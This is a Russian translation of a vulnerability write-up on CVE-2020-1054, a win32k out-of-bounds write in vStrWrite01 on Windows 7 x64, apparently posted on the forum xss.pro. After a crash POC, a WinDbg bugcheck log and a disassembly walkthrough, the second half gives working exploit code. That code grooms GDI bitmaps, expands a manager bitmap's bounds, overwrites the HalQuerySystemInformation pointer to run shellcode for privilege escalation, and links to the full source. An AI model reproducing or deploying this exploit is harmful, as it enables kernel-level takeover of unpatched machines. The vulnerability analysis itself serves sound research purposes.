Оригинальная статья
Переведено специально для xss.proКамнями кадать Jolah Milovski
Введение
1. Описание уязвимости
Уязвимость существует в функции win32k!vStrWrite01.Когда функция читает и записывает область пикселей, на которую указывает член pvScan0 в объекте BitMap, она не оценивает, пересек ли адрес чтения или записи границу, то есть превышает ли диапазон пикселей объекта BitMap приводит к возникновению BSOD. При разумном расположении памяти эту уязвимость можно использовать для расширения sizlBitmap целевого объекта BitMap, чтобы расширить доступный для чтения и записи диапазон объекта BitMap. был расширен в настоящее время, любая произвольная реализация может быть достигнута.Чтение и запись адреса.2. Экспериментальная среда
- ОС: Win7 x64 7601 Professional Edition
- Компилятор: Visual Studio 2017
- Отладчик: IDA Pro, WinDbg
2. Анализ уязвимостей
1. Анализ POC-кода
POC-код уязвимости выглядит следующим образом:
Код:
VOID POC_CVE_2020_1054()
{
LoadLibrary("user32.dll");
HDC r0 = CreateCompatibleDC(0x0);
// CPR's original crash code called CreateCompatibleBitmap as follows
// HBITMAP r1 = CreateCompatibleBitmap(r0, 0x9f42, 0xa);
// however all following calculations/reversing in this blog will
// generally use the below call, unless stated otherwise
// this only matters if you happen to be following along with WinDbg
HBITMAP r1 = CreateCompatibleBitmap(r0, 0x51500, 0x100);
SelectObject(r0, r1);
DrawIconEx(r0, 0x0, 0x0, (HICON)0x30000010003, 0x0, 0xfffffffffebffffc,
0x0, 0x0, 0x6);
}Код POC создает объект BitMap для запуска уязвимости через объект CreateComatibleBitmap. Функция определяется следующим образом:
Код:
HBITMAP CreateCompatibleBitmap(HDC hdc,
int nWidth,
int nHeight);Функция запуска уязвимости — DrawIconEx, которая используется для рисования изображения в указанном контексте устройства.Функция определяется следующим образом:
Код:
BOOL WINAPI DrawIconEx(HDC hdc,
int xLeft,
int yTop,
HICON hIcon,
int cxWidth,
int cyWidth,
UINT istepIfAniCur,
HBRUSH hbrFlickerFreeDraw,
UINT diFlags);Скомпилируйте и запустите POC, система выдаст ошибку BSOD, следующую часть сообщения об ошибке:
Код:
0: kd> !analyze -v
Connected to Windows 7 7601 x64 target at (Tue Jul 12 10:00:11.147 2022 (UTC + 8:00)), ptr64 TRUE
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************
PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except.
Typically the address is just plain bad or it is pointing at freed memory.
Arguments:
Arg1: fffff906c5000238, memory referenced.
Arg2: 0000000000000000, value 0 = read operation, 1 = write operation.
Arg3: fffff9600011218a, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 0000000000000005, (reserved)
Debugging Details:
------------------
IMAGE_NAME: win32k.sys
TRAP_FRAME: fffff88005386a40 -- (.trap 0xfffff88005386a40)
NOTE: The trap frame does not contain all registers.
Some register values may be zeroed or incorrect.
rax=fffff900c5000000 rbx=0000000000000000 rcx=fffff906c5000238
rdx=fffff900c06f7fa0 rsi=0000000000000000 rdi=0000000000000000
rip=fffff9600011218a rsp=fffff88005386bd0 rbp=0000000000000000
r8=0000000000000020 r9=fffff96000070000 r10=fffff88005386c30
r11=0000000000000000 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0 nv up ei ng nz na po cy
win32k!vStrWrite01+0x36a:
fffff960`0011218a 418b36 mov esi,dword ptr [r14] ds:00000000`00000000=????????
STACK_TEXT:
nt!RtlpBreakWithStatusInstruction
nt!KiBugCheckDebugBreak+0x12
nt!KeBugCheck2+0x71e
nt!KeBugCheckEx+0x104
nt! ?? ::FNODOBFM::`string'+0x44891
nt!KiPageFault+0x16e
win32k!vStrWrite01+0x36a
win32k!EngStretchBltNew+0x164a
win32k!EngStretchBlt+0x797
win32k!EngStretchBltROP+0x5fe
win32k!BLTRECORD::bStretch+0x623
win32k!GreStretchBltInternal+0xa37
win32k!BltIcon+0x18f
win32k!DrawIconEx+0x3b1
win32k!NtUserDrawIconEx+0x14d
nt!KiSystemServiceCopyEnd+0x13
USER32!NtUserDrawIconEx+0xa
USER32!DrawIconEx+0xd9По информации об ошибке можно узнать, что кодовый адрес, который генерирует ошибку BSOD, расположен по смещению 0x36A win32k!vStrWrite01, Причина в том, что читается недопустимый адрес, то есть адрес 0.
2. Анализ функции vStrWrite01
Определение функции vStrWrite01 можно найти в исходном коде NT4 следующим образом:
Код:
VOID vStrWrite01(STRRUN *prun,
XRUNLEN *pxrlEnd,
SURFACE *pSurf,
CLIPOBJ *pco)Среди них первые три параметра, относящиеся к уязвимости, определяются следующим образом:
Код:
typedef struct _XRUNLEN
{
LONG xPos;
LONG cRun;
LONG aul[1];
} XRUNLEN;
typedef struct _STRRUN
{
LONG yPos;
LONG cRep;
XRUNLEN xrl;
} STRRUN;
typedef struct tagSIZE {
LONG cx;
LONG cy;
} SIZE,*PSIZE,*LPSIZE;
typedef SIZE SIZEL;
typedef struct _BASEOBJECT64{
ULONG64 hHmgr; // 0x00
ULONG32 ulShareCount; // 0x08
WORD cExclusiveLock; // 0x0A
WORD BaseFlags; // 0x0C
ULONG64 Tid; // 0x10
} BASEOBJECT64;
typedef struct _SURFOBJ64{
BASEOBJECT64 baseObj; // 0x00
ULONG64 dhsurf; // 0x18
ULONG64 hsurf; // 0x20
ULONG64 dhpdev; // 0x28
ULONG64 hdev; // 0x30
SIZEL sizlBitmap; // 0x38
ULONG64 cjBits; // 0x40
ULONG64 pvBits; // 0x48
ULONG64 pvScan0; // 0x50
ULONG32 lDelta; // 0x58
ULONG32 iUniq; // 0x5C
ULONG32 iBitmapFormat; // 0x60
USHORT iType; // 0x64
USHORT fjBitmap; // 0x66
} SURFOBJ64;Согласно информации об ошибке WinDbg, код, который вызывает ошибку, может находиться в IDA, его видно недалеко от кода, который вызывает ошибку, адрес памяти чтения определяется rcx и rax, поэтому необходимо проанализировать вычисление rcx и rax, чтобы узнать адрес памяти для чтения .
В функции vStrWrite01 параметры сначала назначаются, и независимо от того, являются ли соответствующие параметры условными или нет, три перехода здесь выполняться не будут:
Код:
.text:FFFFF97FFF0A5118 ; void __fastcall vStrWrite01(struct _STRRUN *prun, struct _XRUNLEN *pxrlEnd, struct SURFACE *pSurf, struct _CLIPOBJ *pco)
.text:FFFFF97FFF0A5118 ?vStrWrite01@@YAXPEAU_STRRUN@@PEAU_XRUNLEN@@PEAVSURFACE@@PEAU_CLIPOBJ@@@Z proc near
.text:FFFFF97FFF0A5118 test rdx, rdx ; Determine if pxrlEnd is NULL
.text:FFFFF97FFF0A511B jz locret_FFFFF97FFF0A560E
.text:FFFFF97FFF0A5143 lea rax, [rcx+8] ; eax = prun->xrl
.text:FFFFF97FFF0A5147 mov rbx, r9 ; rbx = pco
.text:FFFFF97FFF0A514A mov r15, r8 ; r15 = pSurf
.text:FFFFF97FFF0A5152 mov rdi, rax ; rdi = prun->xrl
.text:FFFFF97FFF0A515A mov rsi, rcx ; rsi = prun
.text:FFFFF97FFF0A515D test rbx, rbx ; poc是否为NULL
.text:FFFFF97FFF0A5160 jnz loc_FFFFF97FFF0A53AC
.text:FFFFF97FFF0A53C7 mov ebp, [rsi] ; ebp = prun->yPos
.text:FFFFF97FFF0A53DE mov r11d, [rsi+4] ; r11d = prun->xrl->cRun
.text:FFFFF97FFF0A53FA mov eax, [r15+58h] ; eax = pSurf->lDelta
.text:FFFFF97FFF0A53FE imul eax, ebp ; eax = pSurf->lDelta * prun->yPos
.text:FFFFF97FFF0A5401 movsxd rcx, eax ; rcx = pSurf->lDelta * prun->yPos
.text:FFFFF97FFF0A5404 add rcx, [r15+50h] ; rcx = pSurf->lDelta * prun->yPos + pSurf->pvScan0
.text:FFFFF97FFF0A5408 mov [rsp+0A8h+var_rcx], rcx ; Save the value of rcx
.text:FFFFF97FFF0A540D test r11d, r11d ; Determine if prun->yPos is 0
.text:FFFFF97FFF0A5410 jz loc_FFFFF97FFF0A55F7Уменьшите r11d на единицу, то есть уменьшите оставшийся prun->xrl->cRun на единицу, затем начните вычислять rcx и rax, и используйте rcx и rax для вычисления r14, то есть адреса памяти, который нужно прочитать после вычисления:
Код:
.text:FFFFF97FFF0A541D mov r12d, 1
.text:FFFFF97FFF0A5423 loc_FFFFF97FFF0A5423:
.text:FFFFF97FFF0A5423 sub r11d, r12d ; r11d = r11d - 1
.text:FFFFF97FFF0A5450 movsxd rbx, dword ptr [rdi] ; rbx = prun->xrl->xPos
.text:FFFFF97FFF0A545A mov rax, rbx ; rax = prun->xrl->xPos
.text:FFFFF97FFF0A5460 sar rax, 5 ; rax = prun->xrl->xPos >> 5
.text:FFFFF97FFF0A546D lea r14, [rcx+rax*4]Следующим выполнением является инструкция mov esi, [r14], вызвавшая ошибку BSOD. Если адрес, хранящийся в r14, является юридическим адресом, то над прочитанным значением будет выполняться операция ИЛИ или операция и:
Присвоить полученное после операции значение обратно адресу памяти, на который указывает r14:
Код:
.text:FFFFF97FFF0A5579 mov [r14], esiУвеличьте rcx, при оценке того, равен ли r11d 0, если он не равен 0, он перейдет к loc_FFFFF97FFF0A5423, то есть перейдет к инструкциям sub r11d, r12d выше, и снова выполнит приведенные выше инструкции:
Код:
.text:FFFFF97FFF0A5580 mov rcx, [rsp+0A8h+var_rcx] ; 将之前保存的rcx赋值给rcx
.text:FFFFF97FFF0A55B7 movsxd rax, dword ptr [r15+58h] ; rax = pSurf->lDelta
.text:FFFFF97FFF0A55BE add rcx, rax ; rcx = rcx + pSurf->lDelta
.text:FFFFF97FFF0A55EE test r11d, r11d
.text:FFFFF97FFF0A55F1 jnz loc_FFFFF97FFF0A5423Согласно вышеприведенному анализу можно сделать вывод, что адрес памяти для чтения и записи, то есть вычисление значения регистра r14, можно вычислить по следующему циклу:
Код:
for (i = 0; i < prun->yPos; i++)
{
r14 = pSurf->lDelta * prun->yPos + pSurf->pvScan0 + (prun->xrl->xPos >> 5) * 4 + i * pSurf->lDelta
// Read and write to the memory address pointed to by r14
}3. Использование уязвимостей
Шаги по эксплуатации уязвимости следующие:- Создайте объект BitMap hExpBitMap, используемый для активации уязвимости.
- Поместите объект BitMap по смещению 0x100070000 hExpBitMap как hManager
- Выделить объект BitMap как hWorker со смещением 0x7000 после hManager
- Активируйте уязвимость и расширьте sizelBitmap объекта BitMap, соответствующего hManager, чтобы расширить доступный для чтения и записи диапазон hManager.
- Изменяя pvScan0 объекта BitMap, соответствующего hWorker через hManager, вы можете реализовать любое чтение и запись адреса для повышения привилегий.
Код:
BOOL Exploit_CVE_2020_1054()
{
BOOL bRet = TRUE;
if (!LoadLibrary("user32.dll"))
{
bRet = FALSE;
ShowError("LoadLibrary", GetLastError());
goto exit;
}
HDC hdc = NULL;
hdc = CreateCompatibleDC(NULL);
if (!hdc)
{
bRet = FALSE;
ShowError("CreateCompatibleDC", GetLastError());
goto exit;
}
HBITMAP hExpBitMap = NULL;
hExpBitMap = CreateCompatibleBitmap(hdc, 0x51500, 0x100);
if (!hExpBitMap)
{
bRet = FALSE;
ShowError("CreateCompatibleBitmap", GetLastError());
goto exit;
}
ULONG64 ulExpBitMap = GetBitMapKerAddr(hExpBitMap);
ULONG64 oob_target = (ulExpBitMap & 0xfffffffffff00000) + 0x0000000100000000;
HBITMAP hManager = NULL, hWorker = NULL;
ULONG64 ulManager = 0, ulWorker = 0;
while (true)
{
HBITMAP hBitMap = NULL;
hBitMap = CreateCompatibleBitmap(hdc, 0x6F000, 0x8);
if (!hBitMap)
{
bRet = FALSE;
ShowError("CreateCompatibleBitmap", GetLastError());
goto exit;
}
ULONG64 ulBitMapKerAddr = GetBitMapKerAddr(hBitMap);
if (hManager)
{
ulWorker = ulBitMapKerAddr;
hWorker = hBitMap;
break;
}
else if (ulBitMapKerAddr >= oob_target && (ulBitMapKerAddr & 0x0000000000070000) == 0x70000)
{
ulManager = ulBitMapKerAddr;
hManager = hBitMap;
}
}
// Trigger a vulnerability that modifies the read/write range of hManger
SelectObject(hdc, hExpBitMap);
DrawIconEx(hdc, 0x900, 0xb, (HICON)0x40000010003, 0x0, 0xffe00000, 0x0, 0x0, 0x1);
exit:
return bRet;
}Скомпилируйте и запустите программу.До срабатывания уязвимости значение sizlBitmap объекта BitMap, соответствующего hManager, следующее:
После срабатывания уязвимости вы можете увидеть, что диапазон для чтения и записи был успешно расширен:
4. Запуск результатов
После успешного расширения диапазона чтения/записи hManager вы можете реализовать чтение/запись любого адреса, изменив pvScan0 hWorker, и, наконец, добиться повышения привилегий.Соответствующий код выглядит следующим образом:
Код:
BOOL EnablePrivilege_CVE_2020_1054(HBITMAP hManager, HBITMAP hWorker, ULONG64 ulSize)
{
BOOL bRet = TRUE;
PVOID pBuf = NULL;
pBuf = malloc(ulSize + 0x10);
if (!pBuf)
{
bRet = FALSE;
ShowError("malloc", GetLastError());
goto exit;
}
ZeroMemory(pBuf, ulSize + 0x10);
if (!GetBitmapBits(hManager, ulSize, pBuf))
{
bRet = FALSE;
ShowError("GetBitmapBits", GetLastError());
goto exit;
}
ULONG64 ulHalQuerySystenInformation = (ULONG64)GetHalQuerySystemInformation();
if (!ulHalQuerySystenInformation)
{
bRet = FALSE;
goto exit;
}
*(PULONG64)((ULONG64)pBuf + ulSize) = ulHalQuerySystenInformation;
if (!SetBitmapBits(hManager, ulSize + sizeof(ULONG64), pBuf))
{
bRet = FALSE;
ShowError("SetBitmapBits", GetLastError());
goto exit;
}
ULONG64 ulOrg = 0;
if (!GetBitmapBits(hWorker, sizeof(ULONG64), &ulOrg))
{
bRet = FALSE;
ShowError("GetBitmapBits", GetLastError());
goto exit;
}
ULONG64 ulShellCode = (ULONG64)ShellCodeInWin7;
if (!SetBitmapBits(hWorker, sizeof(ULONG64), &ulShellCode))
{
bRet = FALSE;
ShowError("GetBitmapBits", GetLastError());
goto exit;
}
if (!CallNtQueryIntervalProfile())
{
bRet = FALSE;
goto exit;
}
if (!SetBitmapBits(hWorker, sizeof(ULONG64), &ulOrg))
{
bRet = FALSE;
ShowError("GetBitmapBits", GetLastError());
goto exit;
}
exit:
return bRet;
}Код хранится по адресу: https://github.com/LegendSaber/exp_x64/blob/master/exp_x64/CVE-2020-1054.cpp . Запустите программу для успешного повышения привилегий:
